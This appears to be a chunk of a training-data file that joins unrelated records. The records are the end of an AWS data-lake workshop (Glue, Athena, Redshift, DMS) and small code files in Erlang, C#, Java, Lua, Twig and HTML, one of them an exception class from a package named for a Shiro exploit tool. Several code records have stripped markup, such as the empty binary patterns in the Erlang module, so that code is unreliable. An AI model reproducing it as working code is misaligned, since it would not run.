**+ Add** button on top-left corner\n2. Select the **Add visual** menu item to add a new visual to the dashboard\n3. From the **Visual Types** pane, select the **Horizontal bar chart** visualization.\n4. Expand the **Field wells** pane by clicking on the dropdown arrows at the top-right corner of the page under your username.\n4. From **Field list** pane, drag `age` field to **Y axis** bucket and drag `username` field to **Value** bucket.\n5. Based on the above selections QuickSight should plot the data respectively.\n6. To add filter to `age`,\n    - Select the dropdown for the `age` field from the **Fields list**. \n    - Select **Add filter for this field** from the dropdown menu.\n    - From **Applied Fiters**, click **Include - all** to open the current filters. If you get alert message \"We can't deterimine how many unique values are in this column....\", click **Retrieve** to continue.\n    - From the age list select `25` and click **Apply** and then **Close**\n7. This will filter the data only for the age 25 group\n\n#### Visualize the monthly data for all web page request\n\n1. On the QuickSight dashboard page, click **+ Add** button on top-left corner\n2. Select **Add visual** menu item to add a new visual to the dashboard\n3. From the **Visual Types** pane, select **Line chart** visualization.\n4. Expand the **Field wells** pane by clicking on the dropdown arrows at the top-right corner of the page under your username.\n5. From the **Field list** pane, drag the `timestamp` field to the **X axis** bucket, drag the `username` field to the **Value** bucket and `request` to the **Color** bucket\n6. Based on the above selections QuickSight should plot the data respectively.\n6. To add a filter to the `request`,\n    - Select the dropdown for `request` field from the **Fields list**. \n    - Select **Add filter for this field** from the dropdown menu.\n    - From **Applied Filters**, click **Include - all** to open the current filters\n    - From the **Filter type**, select **Custom filter** and select **Contains** filter. In the text under **Contains** enter `GET` and click **Apply** and then **Close**\n7. Click on the field name `timestamp` in **X-axis** to reveal a sub-menu.\n8. Select **Aggregate:Day** to aggregate by day.\n9. Use the slider on the X-axis to explore the daily request pattern for a particular month.\n\n\n\n# Data Governance using AWS Glue\nMost large organizations will have different data classification tiers and a number of roles that have access to different classifications of data. With an S3 data lake, there are several ways to protect the data and grant access to the data.\n\nThe first layer will be to use IAM policies to grant access to IAM principles to the data in the S3 bucket. This is done with S3 bucket policies and IAM policies attached to IAM users, groups, and roles.\n\nThis approach is required if the consumer of the data requires direct access to the files or queries through Amazon Athena.\n\nThe second approach is to protect the data at the serving layer, which may be through an EMR cluster or Redshift cluster. With EMR, the cluster can authenticate users using Kerberos and Redshift can be authenticated using Redshift users or IAM credentials.\n\nFinally, the Business Intelligence (BI) tier can authenticate users and limit visibility to reports and dashboards based on the user's group membership.\n\n## Lab Exercise\nIt is common to have multiple classifications of data in the same table. One column will be more restricted than another. Because authorization in S3 is at the file level, you will need to separate out the restricted data from the less restricted data.\n\n\nOne solution to this problem creates two tables: one contains just the less sensitive data and other contains the full dataset. In the less sensitive dataset, we have the customer id, age, and a hash of the social security number. This will allow the Ecommerce analytics team to run demographic analytics on the profiles and aggregate profiles of the same person via the hashed SSN.\n\nThe CustomerRestricted table will contain all of the columns.\n\n\n| userprofile-secure | userprofile | \n| ------------- |:-------------:| \n| Customer ID | Customer ID |\n| Age | Age |\n| ZIP | ZIP |\n| First Name | First Name |\n| Last Name | Last Name |\n| SSN Hash | SSN |\n| Credit Card Hash | Credit Card |\n\n### Create a UDF to simplify apply a hash function to columns\nIn order to protect sensitive data, we will want to eliminate columns or hash sensitive fields. In this example we will hash user profile SSN's and credit card numbers. This will allow analysts to join profiles that share the same SSN or credit card, but encodes the sensitive data by applying a one-way hash algorithm.\n\n#### Create Glue Job\n\n1. If you closed the jupyter notebook, follow the steps 1-3 to reopen the notebook. From AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management Console for AWS Glue.\n2. From the **Notebook Servers** menu page, Select the `aws-glue-^stackname^` notebook and click **Open Notebook** button\n3. Open the labs workbook\n4. Find the section **Create a UDF to simplify apply a hash function to columns**\n5. Run the section\n\n\n\n### Create a glue crawler for the Secure Data\n1. From the AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open the AWS Glue console OR Open the [AWS Management Console for AWS Glue](https://console.aws.amazon.com/glue/home).\n2. From the **AWS Glue** dashboard, from the left hand menu select **Crawlers** menu item\n3. From the **Crawlers** page, click **Add crawler** button\n4. On the **Crawler Info** wizard step, enter crawler name `userprofile-secure`, keep the default on the page and click **Next** button\n5. On the **Data Store** step, choose S3 from **Choose a data store** drop down. Choose `s3://^ingestionbucket^/weblogs/userprofile-secure` S3 bucket location from **Include path**. Keep other defaults the same and click **Next** button\n6. Choose **No** and click **Next** on **Add another data store** \n7. On the **IAM Role** step, choose **Choose an existing IAM role** option and select `^gluerole^` from **IAM role** drop down. click **Next**\n8. On the **Schedule** step keep the default **Run on demand** option and click **Next**\n9. On the **Output** step, choose `weblogs` database from **Database** drop down. Keep default the same and click **Next** button\n10. On the **Review all steps** step, review the selections and click **Finish**. this should take to back to **Crawlers** dashboard\n11. On the **Crawlers** dashboard, select the crawler that you created in above steps and click **Run Crawler** button\n12. The crawler will go into *Starting* to *Stopping* to *Ready* state\n13. Once the the crawler is in *Ready* state, from the left hand menu select **Databases**\n14. From the **Databases** page select `weblogs` database and select **Tables in weblogs** link. You should see table `userprofile-secure` listed along with previously created tables.\n15. From the **Tables** page, select `userprofile-secure` table and explore the table definition that glue crawler created.\n\n\n# View the Data\nNow that the weblogs are available in Amazon S3, the analytics team would like access to the data. You'll use Amazon Athena to query the data using SQL Statements. This will allow you to query the data without viewing the sensitive data.\n\n```SQL\nSELECT first_name, last_name, hash_cc, hash_ssn FROM \"weblogs\".\"userprofile_secure\" limit 10;\n```\n\n## Athena Create Table as Select\n\nThe simplest way to convert a table into a more efficient format is to use the Athena Create Table as Select (CTAS) capability. It is as simple as running a query in Athena and providing the destination, file format, and partitioning information needed. Athena will add the new table to the glue data catalog, including the partition date.\n\n1. In the Athena console, click create a new query, the + icon next to the query tab.\n1. Copy and paste the following: 
    \n```SQL\nCREATE TABLE IF NOT EXISTS userprofileParquet\n  WITH (format='PARQUET', \n  \t\tparquet_compression='SNAPPY', \n  \t\tpartitioned_by=ARRAY['age'], \n  \t\texternal_location='s3://^ingestionbucket^/weblogs/ctas-sample') AS\n\tSELECT first_name, \n\t\t   last_name, \n\t\t   username, \n\t\t   email, \n\t\t   ip_address, \n\t\t   phone, \n\t\t   zip,\n\t\t   age\n\tFROM \"weblogs\".\"userprofile\"\n```\nOnce the query is run, you can look at the list of tables in Athena and see this table has been added, including the partitions.\n\n\n### Make your own jobs\n\n#### Geocode IPs\n\n1. If you closed the jupyter notebook, follow the steps 1-3 to reopen the notebook. From AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management Console for AWS Glue.\n2. From the **Notebook Servers** menu page, Select the `aws-glue-^stackname^` notebook and click **Open Notebook** button\n3. Open the labs workbook **Exercise 4 - Lookup**\n\n#### Hash First & Last Name\n\n1. Create a transformation that shows the user profile with a hashed version of the username and password.\n\n\n#### Extra Credit - Test Role Based Access\n\n1. Create 2 new users, one has access to `s3://^ingestionbucket^/prepared/userprofile-secure`, one does not.\n1. Run Athena query against Customer with user1 and user2\n1. Run Athena query against CustomerRestricted with user1 and user2\n\n### Live Data Feed\nWhat about the data from the Kinesis stream? That is being written to the `s3://^ingestionbucket^/weblogs/live` location. Now that you've used the crawler a few times, on your own create a new crawler that creates the table for the data populated by the kinesis firehose stream.\n\n# Advanced AWS Users\nThe following sections are for more advanced AWS users. These labs will create EC2 instance and require users to create an SSH connection into the instances to complete the configuration.\n\n## Bonus Lab Exercise #1 - Configure Zeppelin Notebook Server\n\nThe workshop provided the code needed to make the Glue jobs function properly. But how do you write and debug the code? A notebook server makes the development of the glue scripts simpler to test and debug by giving a user interface and immediate feedback on the results of a script. Click here for more information on notebooks and glue development endpoints.\n\n#### Prerequisites\n1. An AWS Keypair Generated in your account\n1. A copy of the key downloaded to your computer.  More info\n1. SSH Client. \n  * Mac or Windows 10: Open a terminal window and type ssh -i keypair.pem ec2-user@hostname\n    * If you get a permission denied error, make sure you set the permissions of the file using chmod 400 keyfile.pem\n  * Pre-windows 10: \n    * Install PuTTY: More Info\n    * You will need to convert the pem file to a ppk file using the puttygen utility.\n1. Create an AWS Glue development endpoint. Refer to the instuctions here.\n\n### Lab Activities\n\nGo to the Glue Console and Select the Glue Development Endpoint created in the prerequisites section above.\n1. Select Action->Create Zeppelin Notebook Server\n1. Go through the Zeppelin Notebook Wizard\n1. CloudFormation stack name: aws-glue-^stackname^\n1. Select the role for this notebook server: ^stackname^-notebook-role\n1. KeyPair: Select the key pair from the prequisites\n1. Attach a Public IP (True)\n1. Notebook Username: Admin\n1. Notebook S3 Path: s3://*^ingestionbucket^*/admin\n1. Subnet: Pick a public subnet. Not sure which subnet is public? Subnet Console Look at the Route Table tab of the subnet and see if the route to 0.0.0.0/0 starts with igw.\n1. Click Finish. This will kick off a cloud formation script that builds out the notebook server.\n1. After the notebook server is created, its status changes to CREATE_COMPLETE in the CloudFormation console. Look under the `Resources` section and click the link by the 'Zeppelin Instance' resource.\n1. Copy the Public DNS entry for the instance\n1. Use your SSH client and connect to the instance. ssh -i keyfile.pem ec2-user@paste-hostname-here\n1. From the home directory, run ./setup_notebook_server.py **include the ./ to start the script** in the terminal window. AWS Glue created and placed this script on the Amazon EC2 instance. The script performs the following actions:\n  * **Type the password required to access your Zeppelin notebook**: Supply a password. You will need this password to open your Zeppelin server!\n  * **Do you want a SSH key pair to be generated on the instance? WARNING this will replace any existing public key on the DevEndpoint**: Yes. Generates SSH public and private keys: The script overwrites any existing SSH public key on the development endpoint that is associated with the notebook server. As a result, any other notebook servers, Read–Eval–Print Loops (REPLs), or IDEs that connect to this development endpoint can no longer connect.\n  * **Do you have a JKS keystore to encrypt HTTPS requests? If not, a self-signed certificate will be generated.**: No. This will create a self-signed certificate. You will need to put an exception in your browser to load the page.\n1. Return to the Glue Console and click Notebooks or  Click Here\n1. Click 'Zeppelin Notebook servers' tab.\n1. Select your notebook server, under action select 'Open'\n1. You will get an error due to a self-signed SSL certificate. This is expected. Depending on the browser, you will have to allow the exception.\n1. In the upper right, click Login. User is 'admin' and password was supplied when configuring the notebook server.\n1. Now you can run your scripts that you created in the prior sections in the notebook. It provides a development environment to explore the data and create the ETL transformations.\n\n## Bonus Lab #2: Create Amazon Redshift Cluster\nThis lab will show to take advantage of Redshift Spectrum to add external data to your Redshift Data Warehouse.\n\n## Create Amazon Redshift Cluster\n\nIn this task, you will create an Amazon Redshift cluster. You will need a SQL client such as SQLWorkbenchJ to connect to the Redshift cluster.\n\n**Make sure to delete the Redshift cluster after you complete the lab.**\n\n1. Open the AWS Console home page. Type 'Redshift' in the search box and load the Redshift console.\n1. Click **Quick Launch** to launch a cluster\n   - Type Type: `ds2.xlarge`\n   - Number of Compute Nodes: `1`\n   - Cluster Identifier: `serverless-datalake`\n   - Master user name: `awsuser`\n   - Master user password: *create your own password*\n   - Confirm password: *re-enter password*\n   - Database Port: `5439`\n   - Available IAM Roles: `^stackname^-Redshift`\n1. Go to the details for the newly created cluster.\n1. After the cluster is in the `ready` state, search for the **JDBC URL** and copy it onto your clipboard.\n1. Using the **JDBC URL**, connect to your SQL Client. For more information, Connect Redshift to SqlWorkbenchJ\n\n\n### Create an External Table\n\nIn this task, you will create an external table. Unlike a normal Redshift table, an external table references data stored in Amazon S3\n\nYou will start by defining an external schema. The external schema references a database in the external data catalog and provides the IAM role identifier (ARN) that authorizes your cluster to access Amazon S3 on your behalf\n\n1. Run this command in your SQL client, replacing INSERT-YOUR-REDSHIFT-ROLE with the RedshiftRole value from the CloudFormation (Output of the key \"RedshiftRole\")\n\n```SQL\n  DROP  SCHEMA IF EXISTS weblogs;\n\n  CREATE EXTERNAL SCHEMA weblogs\n  FROM DATA CATALOG\n  DATABASE 'weblogs'\n  IAM_ROLE 'INSERT-YOUR-REDSHIFT-ROLE' \n  CREATE EXTERNAL DATABASE IF NOT EXISTS;\n\n```\n            \n\n> **Note:**  If you receive a message that Schema \"spectrum\" already exists, continue with the next step. You will now create an external table that will be stored in the spectrum schema\n\n* Run this command in your SQL client to run a query against an external table:\n\n```SQL\nSELECT count(*) as TotalCount FROM \"weblogs\".\"useractivity\" where request like '%Dogs%';\n```\n\nThis should return a result that indicates the number of rows with dogs in the request.\n\n### Part 3: Join a Redshift table to an External Table\n\nThe true benefit of using external data is that it can be joined with data in Redshift itself. This hybrid approach allows you to store frequently queried data in Redshift in a schema optimized for the most common queries and join the data stored in your data lake. \n\n* Run this command to create a table in Redshift that pulls in the useractivity from the external table stored in S3.\n\n```SQL\nCREATE SCHEMA IF NOT EXISTS local_weblogs ;\ndrop table if exists local_weblogs.useractivity;\ncreate table local_weblogs.useractivity\nDISTSTYLE KEY\nDISTKEY (username) \nSORTKEY(timestamp)\nAS SELECT * FROM \"weblogs\".\"useractivity\";\n```\n\nThis will create a new table that is stored in Redshift based on the useractivity data stored in S3.\n\n* The DISTSTYLE KEY DISTKEY(username) indicates that data will be distributed to the slice based on the username column. This is useful because any aggregation queries against the username column will be on the same slice.\n* The SORTKEY(timestamp) tells Redshift to save the data sorted by the timestamp.\n\n\nExecute the following query to aggregate data against the useractivity table\n```SQL\nSELECT username, COUNT(timestamp) \nFROM local_weblogs.useractivity\nGROUP BY username;\n```\n\nAnd compare the results to the following query:\n```SQL\nSELECT username, COUNT(timestamp) \nFROM weblogs.useractivity\nGROUP BY username;\n```\n\nOne is hitting the data local to Redshift and the other is using an external source. Keep in mind this cluster only has 1 node and Redshift is designed to be a parallel data warehouse with many nodes in the cluster.\n\nNow, we'll show an example of joining data from your Redshift database and the external data in S3. Here we will pull in the first and last names from the user profile into the useractivity query.\n\n```SQL\nSELECT ua.username, first_name, last_name, COUNT(timestamp) \nFROM local_weblogs.useractivity ua\nINNER JOIN weblogs.userprofile up ON ua.username = up.username\nGROUP BY ua.username, first_name, last_name limit 100;\n```\n\nNow, by creating a view that combines the Redshift and external data, you can create a single entity that reflects both data sources. This can greatly simplify the data model for consumers of the data in Redshift.\n```SQL\nCREATE OR REPLACE VIEW local_weblogs.useractivity_byuser AS \nSELECT ua.username, first_name, last_name, COUNT(timestamp) \nFROM local_weblogs.useractivity ua\nINNER JOIN weblogs.userprofile up ON ua.username = up.username\nGROUP BY ua.username, first_name, last_name WITH NO SCHEMA BINDING;\n```\n*Note, the view requires `WITH NO SCHEMA BINDING` to link to the view to the external table.*\n\nNow you can write a simple query to retrieve this expanded set of data.\n```SQL\nSELECT * FROM local_weblogs.useractivity_byuser LIMIT 100;\n```\n\nThat concludes the Redshift component of the lab. Be sure to delete your Redshift cluster.\n\n## Bonus Lab #3: AWS Database Migration Service (DMS) - Importing files from S3 to DynamoDB\n\nAWS DMS is a cloud service that makes it easy to migrate relational databases, data warehouses, NoSQL databases, and other types of data stores. You can use AWS DMS to migrate your data into the AWS Cloud, between on-premises instances, or between combinations of cloud and on-premises setups. You can perform one-time migrations or can replicate ongoing changes to keep the source and targets in sync. \nAWS DMS supports a number of sources and targets for migration; for more details, refer to the documentation\nAs part of your data lake you might need to move data from on-premises or other locations into a centralized repository for analysis. As part of this workshop we will look at how you can leverage DMS to move a user profile dataset which is uploaded to S3 to DynamoDB\n\n#### Prerequisites\nYou will need at least 2 IAM roles e.g. `dms-cloudwatch-logs-role` for pushing logs to Amazon CloudWatch and the `dms-vpc-role` for use by the DMS service. For more information on creating these roles, take a look at Creating the IAM Roles to Use with the AWS CLI and AWS DMS API in the DMS documentation.\nFor DMS replication instance, you will need a VPC with subnets and security groups configured to allow access to AWS DMS services and othe AWS resources like S3 and DynamoDB. For more information, take a look at Setting Up a Network for a Replication Instance\n\nWhen you use Amazon S3 as a source for AWS DMS, the source Amazon S3 bucket that you use must be in the same AWS Region as the AWS DMS replication instance that you use to migrate your data. In addition, the AWS account you use for the migration must have read access to the source bucket. The role assigned to the user account creating the migration task must have S3 permissions for `GetObject` and `ListBucket`. For this workshop you can add these permissions to `dms-vpc-role`.\nWhen working with a DynamoDB database as a target for AWS DMS, make sure that your IAM role allows AWS DMS to assume and grant access to the DynamoDB tables that are being migrated into. If you are using a separate role, make sure that you allow the DMS service to perform `AssumeRole`. The user account creating the migration task must be able to perform the DynamoDB actions `PutItem`, `CreateTable`, `DescribeTable`, `DeleteTable`, `DeleteItem`, and `ListTables`. For this workshop you can add these permissions to `dms-vpc-role`.\n\n> **Note:** To keep it simple, for S3 and DynamoDB access you can leverage the AWS managed policies **AmazonS3FullAccess** and **AmazonDynamoDBFullAccess** and attach them to `dms-vpc-role` \n\n### Create DMS replication server, source and target endpoints and migration tasks\nTo perform a database migration, DMS needs a replication instance (which is a managed Amazon Elastic Compute Cloud (Amazon EC2) instance that hosts one or more replication tasks), source endpoint (an endpoint to access your source data store), target endpoint (an endpoint to access your target data store) and replication task(s) (task(s) to move a set of data from the source endpoint to the target endpoint)\nYou can create the above components either via AWS Management Console or via scripting e.g. Amazon CloudFormation. For this lab we will use an Amazon CloudFormation template to create the required components.\n\nHere is the Amazon CloudFormation template that you can use to spin up the required components for DMS, Create DMS stack\n\nEnter the stack name, choose the replication instance type, enter security group name, S3 bucket name (s3://^ingestionbucket^/raw/userprofile) and role arn to create the stack.\n\nOnce the stack creation is complete, open the [AWS DMS console](https://console.aws.amazon.com/dms/home) and explore the components that the Amazon CloudFormation template created. The CloudFormation will \n\n- Create a replication instance\n- Create a source endpoint\n- Create a target endpoint\n- Create a target endpoint\n\n> **Note:** For details on S3 source endpoint configuration, refer to AWS Documentation. For details on DynamoDB endpoint configuration, refer to AWS Documentation\n\n#### Execute the DMS Task to load userprofile from S3 to DynamoDB\n\nFrom the DMS console select the **Tasks** menu and select the task created via CloudFormation and click on **Start/Resume** to execute the task. The task status will change from *Ready* to *Starting* to *Running* to *Load complete*.\nAfter the task is in *Load complete* status, open the DynamoDB console and verify that a new table `userprofile` was created with ~50000 user profile records.\n\n#### Conclusion\nAs part of the above exercise we saw how to create a data load pipeline using DMS. You can extend the CloudFormation template to load multiple tables or change the target and source endpoints by simply swapping out the resources in the template.\n\n\n\n# Clean Up\n\nFirst, remove the Sagemaker Notebook. Once that completes you can go to the next step.\n\nOpen the Cloudformation Console and delete the workshop stack. If you leave the workshop running it will continue to generate data and incur charges.\n\n**If you created a Redshift cluster or executed DMS lab, make sure to delete the cluster and dynamodb table!** Leaving these running can cost hundreds of dollars per month.\n\n"}
+{"text": "module.exports = require('./takeRightWhile');\n"}
+{"text": "\n\n\n"}
+{"text": "%%% Copyright (C) 2008 - Will Glozer.  All rights reserved.\n\n-module(epgsql_fdatetime).\n\n-export([decode/2, encode/2]).\n\n-include(\"epgsql_protocol.hrl\").\n\n-define(POSTGRES_EPOC_JDATE, 2451545).\n-define(POSTGRES_EPOC_SECS, 946684800).\n\n-define(MINS_PER_HOUR, 60).\n-define(SECS_PER_DAY, 86400.0).\n-define(SECS_PER_HOUR, 3600.0).\n-define(SECS_PER_MINUTE, 60.0).\n\ndecode(date, <>)             -> epgsql_idatetime:j2date(?POSTGRES_EPOC_JDATE + J);\ndecode(time, <>)              -> f2time(N);\ndecode(timetz, <>) -> {f2time(N), TZ};\ndecode(timestamp, <>)         -> f2timestamp(N);\ndecode(timestamptz, <>)       -> f2timestamp(N);\ndecode(interval, <>) -> {f2time(N), D, M}.\n\nencode(date, D)         -> <<(epgsql_idatetime:date2j(D) - ?POSTGRES_EPOC_JDATE):1/big-signed-unit:32>>;\nencode(time, T)         -> <<(time2f(T)):1/big-float-unit:64>>;\nencode(timetz, {T, TZ}) -> <<(time2f(T)):1/big-float-unit:64, TZ:?int32>>;\nencode(timestamp, TS = {_, _, _})   -> <<(now2f(TS)):1/big-float-unit:64>>;\nencode(timestamp, TS)   -> <<(timestamp2f(TS)):1/big-float-unit:64>>;\nencode(timestamptz, TS = {_, _, _})   -> <<(now2f(TS)):1/big-float-unit:64>>;\nencode(timestamptz, TS) -> <<(timestamp2f(TS)):1/big-float-unit:64>>;\nencode(interval, {T, D, M}) -> <<(time2f(T)):1/big-float-unit:64, D:?int32, M:?int32>>.\n\nf2time(N) ->\n    {R1, Hour} = tmodulo(N, ?SECS_PER_HOUR),\n    {R2, Min}  = tmodulo(R1, ?SECS_PER_MINUTE),\n    {R3, Sec}  = tmodulo(R2, 1.0),\n    case timeround(R3) of\n        US when US >= 1.0 -> f2time(ceiling(N));\n        US                -> {Hour, Min, Sec + US}\n    end.\n\ntime2f({H, M, S}) ->\n    ((H * ?MINS_PER_HOUR + M) * ?SECS_PER_MINUTE) + S.\n\nf2timestamp(N) ->\n    case tmodulo(N, ?SECS_PER_DAY) of\n        {T, D} when T < 0 -> f2timestamp2(D - 1 + ?POSTGRES_EPOC_JDATE, T + ?SECS_PER_DAY);\n        {T, D}            -> f2timestamp2(D + ?POSTGRES_EPOC_JDATE, T)\n    end.\n\nf2timestamp2(D, T) ->\n    {_H, _M, S} = Time = f2time(T),\n    Date = epgsql_idatetime:j2date(D),\n    case tsround(S - trunc(S)) of\n        N when N >= 1.0 ->\n            case ceiling(T) of\n                T2 when T2 > ?SECS_PER_DAY -> f2timestamp2(D + 1, 0.0);\n                T2                         -> f2timestamp2(T2, D)\n            end;\n        _ -> ok\n    end,\n    {Date, Time}.\n\ntimestamp2f({Date, Time}) ->\n    D = epgsql_idatetime:date2j(Date) - ?POSTGRES_EPOC_JDATE,\n    D * ?SECS_PER_DAY + time2f(Time).\n\nnow2f({MegaSecs, Secs, MicroSecs}) ->\n    MegaSecs * 1000000 + Secs + MicroSecs / 1000000.0 - ?POSTGRES_EPOC_SECS.\n\ntmodulo(T, U) ->\n    Q = case T < 0 of\n        true  -> ceiling(T / U);\n        false -> flooring(T / U)\n    end,\n    case Q of\n        0 -> {T, Q};\n        _ -> {T - rint(Q * U), Q}\n    end.\n\nrint(N)      -> round(N) * 1.0.\ntimeround(J) -> rint(J * 10000000000.0) / 10000000000.0.\ntsround(J)   -> rint(J * 1000000.0) / 1000000.0.\n\nflooring(X) ->\n    T = erlang:trunc(X),\n    case (X - T) of\n        N when N < 0 -> T - 1;\n        N when N > 0 -> T;\n        _            -> T\n    end.\n\nceiling(X) ->\n    T = erlang:trunc(X),\n    case (X - T) of\n        N when N < 0 -> T;\n        N when N > 0 -> T + 1;\n        _            -> T\n    end.\n"}
+{"text": "{% set images_extensions = [\n    'jpeg', 'jpg', 'png', 'gif', 'bmp'\n] %}\n\n{% set word_extensions = [\n    'odt', 'doc', 'docx'\n] %}\n\n\n{% if extension in images_extensions %}\n    \n{% elseif extension in word_extensions %}\n    \n{%  else %}\n    \n{% endif %}"}
+{"text": "# `@vuetify/cli-plugin-utils`\n\n> This package provides shared utility helper functions for all plugin packages\n\nFor more information on how to use these utilities, checkout the preset [Plugin development guide](hhttps://vuetifyjs.com/en/customization/presets/#plugin-development-guide).\n"}
+{"text": "namespace ChakraHost.Hosting\n{\n    using System;\n    using System.Runtime.Serialization;\n\n    /// \n    ///     An API usage exception occurred.\n    /// \n    sealed class JavaScriptUsageException : JavaScriptException\n    {\n        /// \n        ///     Initializes a new instance of the  class. \n        /// \n        /// The error code returned.\n        public JavaScriptUsageException(JavaScriptErrorCode code) :\n            this(code, \"A fatal exception has occurred in a JavaScript runtime\")\n        {\n        }\n\n        /// \n        ///     Initializes a new instance of the  class. \n        /// \n        /// The error code returned.\n        /// The error message.\n        public JavaScriptUsageException(JavaScriptErrorCode code, string message) :\n            base(code, message)\n        {\n        }\n\n        /// \n        ///     Initializes a new instance of the  class.\n        /// \n        /// The serialization info.\n        /// The streaming context.\n        private JavaScriptUsageException(string message, Exception innerException) :\n            base(message, innerException)\n        {\n        }\n    }\n}"}
+{"text": "
    Determinate
    \n\n\n\n
    \n  \n  \n  \n
    \n\n
    Indeterminate
    \n\n\n\n
    \n  \n  \n  \n
    \n\n"}
+{"text": "---\nlayout: post\ntitle: Cover Card\ndate: 2018-01-24 21:30:10 +02:00\nhomepage: https://github.com/epidrome/cover-card\ndownload: https://github.com/epidrome/cover-card/archive/gh-pages.zip\ndemo: https://epidrome.github.io/cover-card/\nauthor: epidrome\nthumbnail: cover-card.jpg\nlicense: MIT License\nlicense_link: https://github.com/epidrome/cover-card/blob/master/LICENSE\n---\nCreate a cover page for your social media profiles, host it on Github Pages, and maintain it in minutes, not hours. Credits and inspiration for this theme go to front-cover theme, jekyll remote theme, and being lazy to keep my web page updated with the latest standards and trends.\n"}
+{"text": "package com.shiroexploit.util;\n\npublic class ExploitFailedException extends Exception{\n    public ExploitFailedException(){}\n\n    public ExploitFailedException(String message){\n        super(message);\n    }\n}\n"}
+{"text": "-- SPDX-License-Identifier: GPL-3.0-or-later\nlocal ffi = require('ffi')\n\n-- test if constants work properly\nlocal function test_constants()\n\tsame(kres.class.IN, 1, 'class constants work')\n\tsame(kres.type.NS, 2, 'record type constants work')\n\tsame(kres.type.TYPE2, 2, 'unnamed record type constants work')\n\tsame(kres.type.BADTYPE, nil, 'non-existent type constants are checked')\n\tsame(kres.section.ANSWER, 0, 'section constants work')\n\tsame(kres.rcode.SERVFAIL, 2, 'rcode constants work')\n\tsame(kres.opcode.UPDATE, 5, 'opcode constants work')\n\t-- Test inverset tables to convert constants to text\n\tsame(kres.tostring.class[1], 'IN', 'text class constants work')\n\tsame(kres.tostring.type[2], 'NS', 'text record type constants work')\n\tsame(kres.tostring.type[65535], 'TYPE65535', 'text record type undefined constants work')\n\tsame(kres.tostring.section[0], 'ANSWER', 'text section constants work')\n\tsame(kres.tostring.rcode[2], 'SERVFAIL', 'text rcode constants work')\n\tsame(kres.tostring.opcode[5], 'UPDATE', 'text opcode constants work')\nend\n\n-- test globals\nlocal function test_globals()\n\tok(mode('strict'), 'changing strictness mode')\n\tboom(mode, {'badmode'}, 'changing to non-existent strictness mode')\n\tsame(reorder_RR(true), true, 'answer section reordering')\n\tsame(option('REORDER_RR', false), false, 'generic option call')\n\tboom(option, {'REORDER_RR', 'potato'}, 'generic option call argument check')\n\tboom(option, {'MARS_VACATION', false}, 'generic option check name')\n\tsame(table_print('crabdiary'), 'crabdiary\\n', 'table print works')\n\tsame(table_print({fakepizza=1}), '[fakepizza] => 1\\n', 'table print works on tables')\nend\n\n-- test if dns library functions work\nlocal function test_rrset_functions()\n\tlocal rr = {owner = '\\3com\\0', ttl = 1, type = kres.type.TXT, rdata = '\\5hello'}\n\tlocal rr_text = tostring(kres.rr2str(rr))\n\tsame(rr_text:gsub('%s+', ' '), 'com. 1 TXT \"hello\"', 'rrset to text works')\n\tsame(kres.dname2str(todname('com.')), 'com.', 'domain name conversion works')\n\t-- test creating rrset\n\trr = kres.rrset(todname('com.'), kres.type.A, kres.class.IN, 66)\n\tok(ffi.istype(kres.rrset, rr), 'created an empty RR')\n\tsame(rr:owner(), '\\3com\\0', 'created RR has correct owner')\n\tsame(rr:class(), kres.class.IN, 'created RR has correct class')\n\tsame(rr:class(kres.class.CH), kres.class.CH, 'can set a different class')\n\tsame(rr:class(kres.class.IN), kres.class.IN, 'can restore a class')\n\tsame(rr.type, kres.type.A, 'created RR has correct type')\n\t-- test adding rdata\n\tsame(rr:wire_size(), 0, 'empty RR wire size is zero')\n\tok(rr:add_rdata('\\1\\2\\3\\4', 4), 'adding RDATA works')\n\tsame(rr:wire_size(), 5 + 4 + 4 + 2 + 4, 'RR wire size works after adding RDATA')\n\t-- test conversion to text\n\tlocal expect = 'com.                \t66\tA\t1.2.3.4\\n'\n\tsame(rr:txt_dump(), expect, 'RR to text works')\n\t-- create a dummy rrsig\n\tlocal rrsig = kres.rrset(todname('com.'), kres.type.RRSIG, kres.class.IN, 0)\n\trrsig:add_rdata('\\0\\1', 2)\n\tsame(rr:rdcount(), 1, 'add_rdata really added RDATA')\n\t-- check rrsig matching\n\tsame(rr.type, rrsig:type_covered(), 'rrsig type covered matches covered RR type')\n\tok(rr:is_covered_by(rrsig), 'rrsig is covering a record')\n\t-- test rrset merging\n\tlocal copy = kres.rrset(rr:owner(), rr.type, kres.class.IN, 66)\n\tok(copy:add_rdata('\\4\\3\\2\\1', 4), 'adding second RDATA works')\n\tok(rr:merge_rdata(copy), 'merge_rdata works')\n\tsame(rr:rdcount(), 2, 'RDATA count is correct after merge_rdata')\n\texpect = 'com.                \t66\tA\t1.2.3.4\\n' ..\n\t         'com.                \t66\tA\t4.3.2.1\\n'\n\tsame(rr:txt_dump(), expect, 'merge_rdata actually merged RDATA')\nend\n\n-- test dns library packet interface\nlocal function test_packet_functions()\n\tlocal pkt = kres.packet(512)\n\tisnt(pkt, nil, 'creating packets works')\n\t-- Test manipulating header\n\tok(pkt:rcode(kres.rcode.NOERROR), 'setting rcode works')\n\tsame(pkt:rcode(), 0, 'getting rcode works')\n\tsame(pkt:opcode(), 0, 'getting opcode works')\n\tis(pkt:aa(), false, 'packet is created without AA')\n\tis(pkt:ra(), false, 'packet is created without RA')\n\tis(pkt:ad(), false, 'packet is created without AD')\n\tok(pkt:rd(true), 'setting RD bit works')\n\tis(pkt:rd(), true, 'getting RD bit works')\n\tok(pkt:tc(true), 'setting TC bit works')\n\tis(pkt:tc(), true, 'getting TC bit works')\n\tok(pkt:tc(false), 'disabling TC bit works')\n\tis(pkt:tc(), false, 'getting TC bit after disable works')\n\tis(pkt:cd(), false, 'getting CD bit works')\n\tis(pkt:id(1234), 1234, 'setting MSGID works')\n\tis(pkt:id(), 1234, 'getting MSGID works')\n\t-- Test manipulating question\n\tis(pkt:qname(), nil, 'reading name from empty question')\n\tis(pkt:qtype(), 0, 'reading type from empty question')\n\tis(pkt:qclass(), 0, 'reading class from empty question')\n\tok(pkt:question(todname('hello'), kres.class.IN, kres.type.A), 'setting question section works')\n\tsame(pkt:qname(), todname('hello'), 'reading QNAME works')\n\tsame(pkt:qtype(), kres.type.A, 'reading QTYPE works')\n\tsame(pkt:qclass(), kres.class.IN, 'reading QCLASS works')\n\t-- Test manipulating 